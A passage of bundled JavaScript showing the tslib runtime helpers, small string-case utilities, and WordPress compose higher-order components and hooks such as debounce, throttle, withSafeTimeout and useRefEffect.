2216 if (_ = accept(result.get)) descriptor.get = _;
2217 if (_ = accept(result.set)) descriptor.set = _;
2218 if (_ = accept(result.init)) initializers.unshift(_);
2219 }
2220 else if (_ = accept(result)) {
2221 if (kind === "field") initializers.unshift(_);
2222 else descriptor[key] = _;
2223 }
2224 }
2225 if (target) Object.defineProperty(target, contextIn.name, descriptor);
2226 done = true;
2227};
2228
2229function __runInitializers(thisArg, initializers, value) {
2230 var useValue = arguments.length > 2;
2231 for (var i = 0; i < initializers.length; i++) {
2232 value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg);
2233 }
2234 return useValue ? value : void 0;
2235};
2236
2237function __propKey(x) {
2238 return typeof x === "symbol" ? x : "".concat(x);
2239};
2240
2241function __setFunctionName(f, name, prefix) {
2242 if (typeof name === "symbol") name = name.description ? "[".concat(name.description, "]") : "";
2243 return Object.defineProperty(f, "name", { configurable: true, value: prefix ? "".concat(prefix, " ", name) : name });
2244};
2245
2246function __metadata(metadataKey, metadataValue) {
2247 if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(metadataKey, metadataValue);
2248}
2249
2250function __awaiter(thisArg, _arguments, P, generator) {
2251 function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
2252 return new (P || (P = Promise))(function (resolve, reject) {
2253 function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
2254 function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
2255 function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
2256 step((generator = generator.apply(thisArg, _arguments || [])).next());
2257 });
2258}
2259
2260function __generator(thisArg, body) {
2261 var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g = Object.create((typeof Iterator === "function" ? Iterator : Object).prototype);
2262 return g.next = verb(0), g["throw"] = verb(1), g["return"] = verb(2), typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
2263 function verb(n) { return function (v) { return step([n, v]); }; }
2264 function step(op) {
2265 if (f) throw new TypeError("Generator is already executing.");
2266 while (g && (g = 0, op[0] && (_ = 0)), _) try {
2267 if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
2268 if (y = 0, t) op = [op[0] & 2, t.value];
2269 switch (op[0]) {
2270 case 0: case 1: t = op; break;
2271 case 4: _.label++; return { value: op[1], done: false };
2272 case 5: _.label++; y = op[1]; op = [0]; continue;
2273 case 7: op = _.ops.pop(); _.trys.pop(); continue;
2274 default:
2275 if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
2276 if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
2277 if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
2278 if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
2279 if (t[2]) _.ops.pop();
2280 _.trys.pop(); continue;
2281 }
2282 op = body.call(thisArg, _);
2283 } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
2284 if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
2285 }
2286}
2287
2288var __createBinding = Object.create ? (function(o, m, k, k2) {
2289 if (k2 === undefined) k2 = k;
2290 var desc = Object.getOwnPropertyDescriptor(m, k);
2291 if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
2292 desc = { enumerable: true, get: function() { return m[k]; } };
2293 }
2294 Object.defineProperty(o, k2, desc);
2295}) : (function(o, m, k, k2) {
2296 if (k2 === undefined) k2 = k;
2297 o[k2] = m[k];
2298});
2299
2300function __exportStar(m, o) {
2301 for (var p in m) if (p !== "default" && !Object.prototype.hasOwnProperty.call(o, p)) __createBinding(o, m, p);
2302}
2303
2304function __values(o) {
2305 var s = typeof Symbol === "function" && Symbol.iterator, m = s && o[s], i = 0;
2306 if (m) return m.call(o);
2307 if (o && typeof o.length === "number") return {
2308 next: function () {
2309 if (o && i >= o.length) o = void 0;
2310 return { value: o && o[i++], done: !o };
2311 }
2312 };
2313 throw new TypeError(s ? "Object is not iterable." : "Symbol.iterator is not defined.");
2314}
2315
2316function __read(o, n) {
2317 var m = typeof Symbol === "function" && o[Symbol.iterator];
2318 if (!m) return o;
2319 var i = m.call(o), r, ar = [], e;
2320 try {
2321 while ((n === void 0 || n-- > 0) && !(r = i.next()).done) ar.push(r.value);
2322 }
2323 catch (error) { e = { error: error }; }
2324 finally {
2325 try {
2326 if (r && !r.done && (m = i["return"])) m.call(i);
2327 }
2328 finally { if (e) throw e.error; }
2329 }
2330 return ar;
2331}
2332
2333/** @deprecated */
2334function __spread() {
2335 for (var ar = [], i = 0; i < arguments.length; i++)
2336 ar = ar.concat(__read(arguments[i]));
2337 return ar;
2338}
2339
2340/** @deprecated */
2341function __spreadArrays() {
2342 for (var s = 0, i = 0, il = arguments.length; i < il; i++) s += arguments[i].length;
2343 for (var r = Array(s), k = 0, i = 0; i < il; i++)
2344 for (var a = arguments[i], j = 0, jl = a.length; j < jl; j++, k++)
2345 r[k] = a[j];
2346 return r;
2347}
2348
2349function __spreadArray(to, from, pack) {
2350 if (pack || arguments.length === 2) for (var i = 0, l = from.length, ar; i < l; i++) {
2351 if (ar || !(i in from)) {
2352 if (!ar) ar = Array.prototype.slice.call(from, 0, i);
2353 ar[i] = from[i];
2354 }
2355 }
2356 return to.concat(ar || Array.prototype.slice.call(from));
2357}
2358
2359function __await(v) {
2360 return this instanceof __await ? (this.v = v, this) : new __await(v);
2361}
2362
2363function __asyncGenerator(thisArg, _arguments, generator) {
2364 if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
2365 var g = generator.apply(thisArg, _arguments || []), i, q = [];
2366 return i = Object.create((typeof AsyncIterator === "function" ? AsyncIterator : Object).prototype), verb("next"), verb("throw"), verb("return", awaitReturn), i[Symbol.asyncIterator] = function () { return this; }, i;
2367 function awaitReturn(f) { return function (v) { return Promise.resolve(v).then(f, reject); }; }
2368 function verb(n, f) { if (g[n]) { i[n] = function (v) { return new Promise(function (a, b) { q.push([n, v, a, b]) > 1 || resume(n, v); }); }; if (f) i[n] = f(i[n]); } }
2369 function resume(n, v) { try { step(g[n](v)); } catch (e) { settle(q[0][3], e); } }
2370 function step(r) { r.value instanceof __await ? Promise.resolve(r.value.v).then(fulfill, reject) : settle(q[0][2], r); }
2371 function fulfill(value) { resume("next", value); }
2372 function reject(value) { resume("throw", value); }
2373 function settle(f, v) { if (f(v), q.shift(), q.length) resume(q[0][0], q[0][1]); }
2374}
2375
2376function __asyncDelegator(o) {
2377 var i, p;
2378 return i = {}, verb("next"), verb("throw", function (e) { throw e; }), verb("return"), i[Symbol.iterator] = function () { return this; }, i;
2379 function verb(n, f) { i[n] = o[n] ? function (v) { return (p = !p) ? { value: __await(o[n](v)), done: false } : f ? f(v) : v; } : f; }
2380}
2381
2382function __asyncValues(o) {
2383 if (!Symbol.asyncIterator) throw new TypeError("Symbol.asyncIterator is not defined.");
2384 var m = o[Symbol.asyncIterator], i;
2385 return m ? m.call(o) : (o = typeof __values === "function" ? __values(o) : o[Symbol.iterator](), i = {}, verb("next"), verb("throw"), verb("return"), i[Symbol.asyncIterator] = function () { return this; }, i);
2386 function verb(n) { i[n] = o[n] && function (v) { return new Promise(function (resolve, reject) { v = o[n](v), settle(resolve, reject, v.done, v.value); }); }; }
2387 function settle(resolve, reject, d, v) { Promise.resolve(v).then(function(v) { resolve({ value: v, done: d }); }, reject); }
2388}
2389
2390function __makeTemplateObject(cooked, raw) {
2391 if (Object.defineProperty) { Object.defineProperty(cooked, "raw", { value: raw }); } else { cooked.raw = raw; }
2392 return cooked;
2393};
2394
2395var __setModuleDefault = Object.create ? (function(o, v) {
2396 Object.defineProperty(o, "default", { enumerable: true, value: v });
2397}) : function(o, v) {
2398 o["default"] = v;
2399};
2400
2401var ownKeys = function(o) {
2402 ownKeys = Object.getOwnPropertyNames || function (o) {
2403 var ar = [];
2404 for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
2405 return ar;
2406 };
2407 return ownKeys(o);
2408};
2409
2410function __importStar(mod) {
2411 if (mod && mod.__esModule) return mod;
2412 var result = {};
2413 if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
2414 __setModuleDefault(result, mod);
2415 return result;
2416}
2417
2418function __importDefault(mod) {
2419 return (mod && mod.__esModule) ? mod : { default: mod };
2420}
2421
2422function __classPrivateFieldGet(receiver, state, kind, f) {
2423 if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a getter");
2424 if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot read private member from an object whose class did not declare it");
2425 return kind === "m" ? f : kind === "a" ? f.call(receiver) : f ? f.value : state.get(receiver);
2426}
2427
2428function __classPrivateFieldSet(receiver, state, value, kind, f) {
2429 if (kind === "m") throw new TypeError("Private method is not writable");
2430 if (kind === "a" && !f) throw new TypeError("Private accessor was defined without a setter");
2431 if (typeof state === "function" ? receiver !== state || !f : !state.has(receiver)) throw new TypeError("Cannot write private member to an object whose class did not declare it");
2432 return (kind === "a" ? f.call(receiver, value) : f ? f.value = value : state.set(receiver, value)), value;
2433}
2434
2435function __classPrivateFieldIn(state, receiver) {
2436 if (receiver === null || (typeof receiver !== "object" && typeof receiver !== "function")) throw new TypeError("Cannot use 'in' operator on non-object");
2437 return typeof state === "function" ? receiver === state : state.has(receiver);
2438}
2439
2440function __addDisposableResource(env, value, async) {
2441 if (value !== null && value !== void 0) {
2442 if (typeof value !== "object" && typeof value !== "function") throw new TypeError("Object expected.");
2443 var dispose, inner;
2444 if (async) {
2445 if (!Symbol.asyncDispose) throw new TypeError("Symbol.asyncDispose is not defined.");
2446 dispose = value[Symbol.asyncDispose];
2447 }
2448 if (dispose === void 0) {
2449 if (!Symbol.dispose) throw new TypeError("Symbol.dispose is not defined.");
2450 dispose = value[Symbol.dispose];
2451 if (async) inner = dispose;
2452 }
2453 if (typeof dispose !== "function") throw new TypeError("Object not disposable.");
2454 if (inner) dispose = function() { try { inner.call(this); } catch (e) { return Promise.reject(e); } };
2455 env.stack.push({ value: value, dispose: dispose, async: async });
2456 }
2457 else if (async) {
2458 env.stack.push({ async: true });
2459 }
2460 return value;
2461}
2462
2463var _SuppressedError = typeof SuppressedError === "function" ? SuppressedError : function (error, suppressed, message) {
2464 var e = new Error(message);
2465 return e.name = "SuppressedError", e.error = error, e.suppressed = suppressed, e;
2466};
2467
2468function __disposeResources(env) {
2469 function fail(e) {
2470 env.error = env.hasError ? new _SuppressedError(e, env.error, "An error was suppressed during disposal.") : e;
2471 env.hasError = true;
2472 }
2473 var r, s = 0;
2474 function next() {
2475 while (r = env.stack.pop()) {
2476 try {
2477 if (!r.async && s === 1) return s = 0, env.stack.push(r), Promise.resolve().then(next);
2478 if (r.dispose) {
2479 var result = r.dispose.call(r.value);
2480 if (r.async) return s |= 2, Promise.resolve(result).then(next, function(e) { fail(e); return next(); });
2481 }
2482 else s |= 1;
2483 }
2484 catch (e) {
2485 fail(e);
2486 }
2487 }
2488 if (s === 1) return env.hasError ? Promise.reject(env.error) : Promise.resolve();
2489 if (env.hasError) throw env.error;
2490 }
2491 return next();
2492}
2493
2494function __rewriteRelativeImportExtension(path, preserveJsx) {
2495 if (typeof path === "string" && /^\.\.?\//.test(path)) {
2496 return path.replace(/\.(tsx)$|((?:\.d)?)((?:\.[^./]+?)?)\.([cm]?)ts$/i, function (m, tsx, d, ext, cm) {
2497 return tsx ? preserveJsx ? ".jsx" : ".js" : d && (!ext || !cm) ? m : (d + ext + "." + cm.toLowerCase() + "js");
2498 });
2499 }
2500 return path;
2501}
2502
2503/* harmony default export */ const tslib_es6 = ({
2504 __extends,
2505 __assign,
2506 __rest,
2507 __decorate,
2508 __param,
2509 __esDecorate,
2510 __runInitializers,
2511 __propKey,
2512 __setFunctionName,
2513 __metadata,
2514 __awaiter,
2515 __generator,
2516 __createBinding,
2517 __exportStar,
2518 __values,
2519 __read,
2520 __spread,
2521 __spreadArrays,
2522 __spreadArray,
2523 __await,
2524 __asyncGenerator,
2525 __asyncDelegator,
2526 __asyncValues,
2527 __makeTemplateObject,
2528 __importStar,
2529 __importDefault,
2530 __classPrivateFieldGet,
2531 __classPrivateFieldSet,
2532 __classPrivateFieldIn,
2533 __addDisposableResource,
2534 __disposeResources,
2535 __rewriteRelativeImportExtension,
2536});
2537
2538;// ./node_modules/lower-case/dist.es2015/index.js
2539/**
2540 * Source: ftp://ftp.unicode.org/Public/UCD/latest/ucd/SpecialCasing.txt
2541 */
2542var SUPPORTED_LOCALE = {
2543 tr: {
2544 regexp: /\u0130|\u0049|\u0049\u0307/g,
2545 map: {
2546 İ: "\u0069",
2547 I: "\u0131",
2548 İ: "\u0069",
2549 },
2550 },
2551 az: {
2552 regexp: /\u0130/g,
2553 map: {
2554 İ: "\u0069",
2555 I: "\u0131",
2556 İ: "\u0069",
2557 },
2558 },
2559 lt: {
2560 regexp: /\u0049|\u004A|\u012E|\u00CC|\u00CD|\u0128/g,
2561 map: {
2562 I: "\u0069\u0307",
2563 J: "\u006A\u0307",
2564 Į: "\u012F\u0307",
2565 Ì: "\u0069\u0307\u0300",
2566 Í: "\u0069\u0307\u0301",
2567 Ĩ: "\u0069\u0307\u0303",
2568 },
2569 },
2570};
2571/**
2572 * Localized lower case.
2573 */
2574function localeLowerCase(str, locale) {
2575 var lang = SUPPORTED_LOCALE[locale.toLowerCase()];
2576 if (lang)
2577 return lowerCase(str.replace(lang.regexp, function (m) { return lang.map[m]; }));
2578 return lowerCase(str);
2579}
2580/**
2581 * Lower case as a function.
2582 */
2583function lowerCase(str) {
2584 return str.toLowerCase();
2585}
2586
2587;// ./node_modules/no-case/dist.es2015/index.js
2588
2589// Support camel case ("camelCase" -> "camel Case" and "CAMELCase" -> "CAMEL Case").
2590var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
2591// Remove all non-word characters.
2592var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
2593/**
2594 * Normalize the string into something other libraries can manipulate easier.
2595 */
2596function noCase(input, options) {
2597 if (options === void 0) { options = {}; }
2598 var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
2599 var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
2600 var start = 0;
2601 var end = result.length;
2602 // Trim the delimiter from around the output string.
2603 while (result.charAt(start) === "\0")
2604 start++;
2605 while (result.charAt(end - 1) === "\0")
2606 end--;
2607 // Transform each token independently.
2608 return result.slice(start, end).split("\0").map(transform).join(delimiter);
2609}
2610/**
2611 * Replace `re` in the input string with the replacement value.
2612 */
2613function replace(input, re, value) {
2614 if (re instanceof RegExp)
2615 return input.replace(re, value);
2616 return re.reduce(function (input, re) { return input.replace(re, value); }, input);
2617}
2618
2619;// ./node_modules/pascal-case/dist.es2015/index.js
2620
2621
2622function pascalCaseTransform(input, index) {
2623 var firstChar = input.charAt(0);
2624 var lowerChars = input.substr(1).toLowerCase();
2625 if (index > 0 && firstChar >= "0" && firstChar <= "9") {
2626 return "_" + firstChar + lowerChars;
2627 }
2628 return "" + firstChar.toUpperCase() + lowerChars;
2629}
2630function pascalCaseTransformMerge(input) {
2631 return input.charAt(0).toUpperCase() + input.slice(1).toLowerCase();
2632}
2633function pascalCase(input, options) {
2634 if (options === void 0) { options = {}; }
2635 return noCase(input, __assign({ delimiter: "", transform: pascalCaseTransform }, options));
2636}
2637
2638;// ./node_modules/@wordpress/compose/build-module/utils/create-higher-order-component/index.js
2639
2640function createHigherOrderComponent(mapComponent, modifierName) {
2641 return (Inner) => {
2642 const Outer = mapComponent(Inner);
2643 Outer.displayName = hocName(modifierName, Inner);
2644 return Outer;
2645 };
2646}
2647const hocName = (name, Inner) => {
2648 const inner = Inner.displayName || Inner.name || "Component";
2649 const outer = pascalCase(name ?? "");
2650 return `${outer}(${inner})`;
2651};
2652
2653
2654;// ./node_modules/@wordpress/compose/build-module/utils/debounce/index.js
2655const debounce = (func, wait, options) => {
2656 let lastArgs;
2657 let lastThis;
2658 let maxWait = 0;
2659 let result;
2660 let timerId;
2661 let lastCallTime;
2662 let lastInvokeTime = 0;
2663 let leading = false;
2664 let maxing = false;
2665 let trailing = true;
2666 if (options) {
2667 leading = !!options.leading;
2668 maxing = "maxWait" in options;
2669 if (options.maxWait !== void 0) {
2670 maxWait = Math.max(options.maxWait, wait);
2671 }
2672 trailing = "trailing" in options ? !!options.trailing : trailing;
2673 }
2674 function invokeFunc(time) {
2675 const args = lastArgs;
2676 const thisArg = lastThis;
2677 lastArgs = void 0;
2678 lastThis = void 0;
2679 lastInvokeTime = time;
2680 result = func.apply(thisArg, args);
2681 return result;
2682 }
2683 function startTimer(pendingFunc, waitTime) {
2684 timerId = setTimeout(pendingFunc, waitTime);
2685 }
2686 function cancelTimer() {
2687 if (timerId !== void 0) {
2688 clearTimeout(timerId);
2689 }
2690 }
2691 function leadingEdge(time) {
2692 lastInvokeTime = time;
2693 startTimer(timerExpired, wait);
2694 return leading ? invokeFunc(time) : result;
2695 }
2696 function getTimeSinceLastCall(time) {
2697 return time - (lastCallTime || 0);
2698 }
2699 function remainingWait(time) {
2700 const timeSinceLastCall = getTimeSinceLastCall(time);
2701 const timeSinceLastInvoke = time - lastInvokeTime;
2702 const timeWaiting = wait - timeSinceLastCall;
2703 return maxing ? Math.min(timeWaiting, maxWait - timeSinceLastInvoke) : timeWaiting;
2704 }
2705 function shouldInvoke(time) {
2706 const timeSinceLastCall = getTimeSinceLastCall(time);
2707 const timeSinceLastInvoke = time - lastInvokeTime;
2708 return lastCallTime === void 0 || timeSinceLastCall >= wait || timeSinceLastCall < 0 || maxing && timeSinceLastInvoke >= maxWait;
2709 }
2710 function timerExpired() {
2711 const time = Date.now();
2712 if (shouldInvoke(time)) {
2713 return trailingEdge(time);
2714 }
2715 startTimer(timerExpired, remainingWait(time));
2716 return void 0;
2717 }
2718 function clearTimer() {
2719 timerId = void 0;
2720 }
2721 function trailingEdge(time) {
2722 clearTimer();
2723 if (trailing && lastArgs) {
2724 return invokeFunc(time);
2725 }
2726 lastArgs = lastThis = void 0;
2727 return result;
2728 }
2729 function cancel() {
2730 cancelTimer();
2731 lastInvokeTime = 0;
2732 clearTimer();
2733 lastArgs = lastCallTime = lastThis = void 0;
2734 }
2735 function flush() {
2736 return pending() ? trailingEdge(Date.now()) : result;
2737 }
2738 function pending() {
2739 return timerId !== void 0;
2740 }
2741 function debounced(...args) {
2742 const time = Date.now();
2743 const isInvoking = shouldInvoke(time);
2744 lastArgs = args;
2745 lastThis = this;
2746 lastCallTime = time;
2747 if (isInvoking) {
2748 if (!pending()) {
2749 return leadingEdge(lastCallTime);
2750 }
2751 if (maxing) {
2752 startTimer(timerExpired, wait);
2753 return invokeFunc(lastCallTime);
2754 }
2755 }
2756 if (!pending()) {
2757 startTimer(timerExpired, wait);
2758 }
2759 return result;
2760 }
2761 debounced.cancel = cancel;
2762 debounced.flush = flush;
2763 debounced.pending = pending;
2764 return debounced;
2765};
2766
2767
2768;// ./node_modules/@wordpress/compose/build-module/utils/throttle/index.js
2769
2770const throttle = (func, wait, options) => {
2771 let leading = true;
2772 let trailing = true;
2773 if (options) {
2774 leading = "leading" in options ? !!options.leading : leading;
2775 trailing = "trailing" in options ? !!options.trailing : trailing;
2776 }
2777 return debounce(func, wait, {
2778 leading,
2779 trailing,
2780 maxWait: wait
2781 });
2782};
2783
2784
2785;// ./node_modules/@wordpress/compose/build-module/utils/observable-map/index.js
2786function observableMap() {
2787 const map = /* @__PURE__ */ new Map();
2788 const listeners = /* @__PURE__ */ new Map();
2789 function callListeners(name) {
2790 const list = listeners.get(name);
2791 if (!list) {
2792 return;
2793 }
2794 for (const listener of list) {
2795 listener();
2796 }
2797 }
2798 return {
2799 get(name) {
2800 return map.get(name);
2801 },
2802 set(name, value) {
2803 map.set(name, value);
2804 callListeners(name);
2805 },
2806 delete(name) {
2807 map.delete(name);
2808 callListeners(name);
2809 },
2810 subscribe(name, listener) {
2811 let list = listeners.get(name);
2812 if (!list) {
2813 list = /* @__PURE__ */ new Set();
2814 listeners.set(name, list);
2815 }
2816 list.add(listener);
2817 return () => {
2818 list.delete(listener);
2819 if (list.size === 0) {
2820 listeners.delete(name);
2821 }
2822 };
2823 }
2824 };
2825}
2826
2827
2828;// ./node_modules/@wordpress/compose/build-module/higher-order/pipe.js
2829const basePipe = (reverse = false) => (...funcs) => (...args) => {
2830 const functions = funcs.flat();
2831 if (reverse) {
2832 functions.reverse();
2833 }
2834 return functions.reduce(
2835 (prev, func) => [func(...prev)],
2836 args
2837 )[0];
2838};
2839const pipe = basePipe();
2840var pipe_default = pipe;
2841
2842
2843;// ./node_modules/@wordpress/compose/build-module/higher-order/compose.js
2844
2845const compose = basePipe(true);
2846var compose_default = compose;
2847
2848
2849;// external "ReactJSXRuntime"
2850const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
2851;// ./node_modules/@wordpress/compose/build-module/higher-order/if-condition/index.js
2852
2853
2854function ifCondition(predicate) {
2855 return createHigherOrderComponent(
2856 (WrappedComponent) => (props) => {
2857 if (!predicate(props)) {
2858 return null;
2859 }
2860 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, { ...props });
2861 },
2862 "ifCondition"
2863 );
2864}
2865var if_condition_default = ifCondition;
2866
2867
2868;// external ["wp","isShallowEqual"]
2869const external_wp_isShallowEqual_namespaceObject = window["wp"]["isShallowEqual"];
2870var external_wp_isShallowEqual_default = /*#__PURE__*/__webpack_require__.n(external_wp_isShallowEqual_namespaceObject);
2871;// external ["wp","element"]
2872const external_wp_element_namespaceObject = window["wp"]["element"];
2873;// ./node_modules/@wordpress/compose/build-module/higher-order/pure/index.js
2874
2875
2876
2877
2878const pure = createHigherOrderComponent(function(WrappedComponent) {
2879 if (WrappedComponent.prototype instanceof external_wp_element_namespaceObject.Component) {
2880 return class extends WrappedComponent {
2881 shouldComponentUpdate(nextProps, nextState) {
2882 return !external_wp_isShallowEqual_default()(nextProps, this.props) || !external_wp_isShallowEqual_default()(nextState, this.state);
2883 }
2884 };
2885 }
2886 return class extends external_wp_element_namespaceObject.Component {
2887 shouldComponentUpdate(nextProps) {
2888 return !external_wp_isShallowEqual_default()(nextProps, this.props);
2889 }
2890 render() {
2891 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, { ...this.props });
2892 }
2893 };
2894}, "pure");
2895var pure_default = pure;
2896
2897
2898;// external ["wp","deprecated"]
2899const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"];
2900var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject);
2901;// ./node_modules/@wordpress/compose/build-module/higher-order/with-global-events/listener.js
2902class Listener {
2903 constructor() {
2904 this.listeners = {};
2905 this.handleEvent = this.handleEvent.bind(this);
2906 }
2907 add(eventType, instance) {
2908 if (!this.listeners[eventType]) {
2909 window.addEventListener(eventType, this.handleEvent);
2910 this.listeners[eventType] = [];
2911 }
2912 this.listeners[eventType].push(instance);
2913 }
2914 remove(eventType, instance) {
2915 if (!this.listeners[eventType]) {
2916 return;
2917 }
2918 this.listeners[eventType] = this.listeners[eventType].filter(
2919 (listener) => listener !== instance
2920 );
2921 if (!this.listeners[eventType].length) {
2922 window.removeEventListener(eventType, this.handleEvent);
2923 delete this.listeners[eventType];
2924 }
2925 }
2926 handleEvent(event) {
2927 this.listeners[event.type]?.forEach(
2928 (instance) => {
2929 instance.handleEvent(event);
2930 }
2931 );
2932 }
2933}
2934var listener_default = Listener;
2935
2936
2937;// ./node_modules/@wordpress/compose/build-module/higher-order/with-global-events/index.js
2938
2939
2940
2941
2942
2943const listener = new listener_default();
2944function withGlobalEvents(eventTypesToHandlers) {
2945 external_wp_deprecated_default()("wp.compose.withGlobalEvents", {
2946 since: "5.7",
2947 alternative: "useEffect"
2948 });
2949 return createHigherOrderComponent((WrappedComponent) => {
2950 class Wrapper extends external_wp_element_namespaceObject.Component {
2951 constructor(props) {
2952 super(props);
2953 this.handleEvent = this.handleEvent.bind(this);
2954 this.handleRef = this.handleRef.bind(this);
2955 }
2956 componentDidMount() {
2957 Object.keys(eventTypesToHandlers).forEach((eventType) => {
2958 listener.add(eventType, this);
2959 });
2960 }
2961 componentWillUnmount() {
2962 Object.keys(eventTypesToHandlers).forEach((eventType) => {
2963 listener.remove(eventType, this);
2964 });
2965 }
2966 handleEvent(event) {
2967 const handler = eventTypesToHandlers[
2968 /** @type {keyof GlobalEventHandlersEventMap} */
2969 event.type
2970 /* eslint-enable jsdoc/no-undefined-types */
2971 ];
2972 if (typeof this.wrappedRef[handler] === "function") {
2973 this.wrappedRef[handler](event);
2974 }
2975 }
2976 handleRef(el) {
2977 this.wrappedRef = el;
2978 if (this.props.forwardedRef) {
2979 this.props.forwardedRef(el);
2980 }
2981 }
2982 render() {
2983 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
2984 WrappedComponent,
2985 {
2986 ...this.props.ownProps,
2987 ref: this.handleRef
2988 }
2989 );
2990 }
2991 }
2992 return (0,external_wp_element_namespaceObject.forwardRef)((props, ref) => {
2993 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Wrapper, { ownProps: props, forwardedRef: ref });
2994 });
2995 }, "withGlobalEvents");
2996}
2997
2998
2999;// ./node_modules/@wordpress/compose/build-module/hooks/use-instance-id/index.js
3000
3001const instanceMap = /* @__PURE__ */ new WeakMap();
3002function createId(object) {
3003 const instances = instanceMap.get(object) || 0;
3004 instanceMap.set(object, instances + 1);
3005 return instances;
3006}
3007function useInstanceId(object, prefix, preferredId) {
3008 return (0,external_wp_element_namespaceObject.useMemo)(() => {
3009 if (preferredId) {
3010 return preferredId;
3011 }
3012 const id = createId(object);
3013 return prefix ? `${prefix}-${id}` : id;
3014 }, [object, preferredId, prefix]);
3015}
3016var use_instance_id_default = useInstanceId;
3017
3018
3019;// ./node_modules/@wordpress/compose/build-module/higher-order/with-instance-id/index.js
3020
3021
3022
3023const withInstanceId = createHigherOrderComponent(
3024 (WrappedComponent) => {
3025 return (props) => {
3026 const instanceId = use_instance_id_default(WrappedComponent);
3027 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WrappedComponent, { ...props, instanceId });
3028 };
3029 },
3030 "instanceId"
3031);
3032var with_instance_id_default = withInstanceId;
3033
3034
3035;// ./node_modules/@wordpress/compose/build-module/higher-order/with-safe-timeout/index.js
3036
3037
3038
3039const withSafeTimeout = createHigherOrderComponent(
3040 (OriginalComponent) => {
3041 return class WrappedComponent extends external_wp_element_namespaceObject.Component {
3042 timeouts;
3043 constructor(props) {
3044 super(props);
3045 this.timeouts = [];
3046 this.setTimeout = this.setTimeout.bind(this);
3047 this.clearTimeout = this.clearTimeout.bind(this);
3048 }
3049 componentWillUnmount() {
3050 this.timeouts.forEach(clearTimeout);
3051 }
3052 setTimeout(fn, delay) {
3053 const id = setTimeout(() => {
3054 fn();
3055 this.clearTimeout(id);
3056 }, delay);
3057 this.timeouts.push(id);
3058 return id;
3059 }
3060 clearTimeout(id) {
3061 clearTimeout(id);
3062 this.timeouts = this.timeouts.filter(
3063 (timeoutId) => timeoutId !== id
3064 );
3065 }
3066 render() {
3067 return (
3068 // @ts-ignore
3069 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3070 OriginalComponent,
3071 {
3072 ...this.props,
3073 setTimeout: this.setTimeout,
3074 clearTimeout: this.clearTimeout
3075 }
3076 )
3077 );
3078 }
3079 };
3080 },
3081 "withSafeTimeout"
3082);
3083var with_safe_timeout_default = withSafeTimeout;
3084
3085
3086;// ./node_modules/@wordpress/compose/build-module/higher-order/with-state/index.js
3087
3088
3089
3090
3091function withState(initialState = {}) {
3092 external_wp_deprecated_default()("wp.compose.withState", {
3093 since: "5.8",
3094 alternative: "wp.element.useState"
3095 });
3096 return createHigherOrderComponent((OriginalComponent) => {
3097 return class WrappedComponent extends external_wp_element_namespaceObject.Component {
3098 constructor(props) {
3099 super(props);
3100 this.setState = this.setState.bind(this);
3101 this.state = initialState;
3102 }
3103 render() {
3104 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
3105 OriginalComponent,
3106 {
3107 ...this.props,
3108 ...this.state,
3109 setState: this.setState
3110 }
3111 );
3112 }
3113 };
3114 }, "withState");
3115}
3116
3117
3118;// external ["wp","dom"]
3119const external_wp_dom_namespaceObject = window["wp"]["dom"];
3120;// ./node_modules/@wordpress/compose/build-module/hooks/use-ref-effect/index.js
3121
3122function useRefEffect(callback, dependencies) {
3123 const cleanupRef = (0,external_wp_element_namespaceObject.useRef)();
3124 return (0,external_wp_element_namespaceObject.useCallback)((node) => {
3125 if (node) {
3126 cleanupRef.current = callback(node);
3127 } else if (cleanupRef.current) {
3128 cleanupRef.current();
3129 }
3130 }, dependencies);
3131}
3132
3133
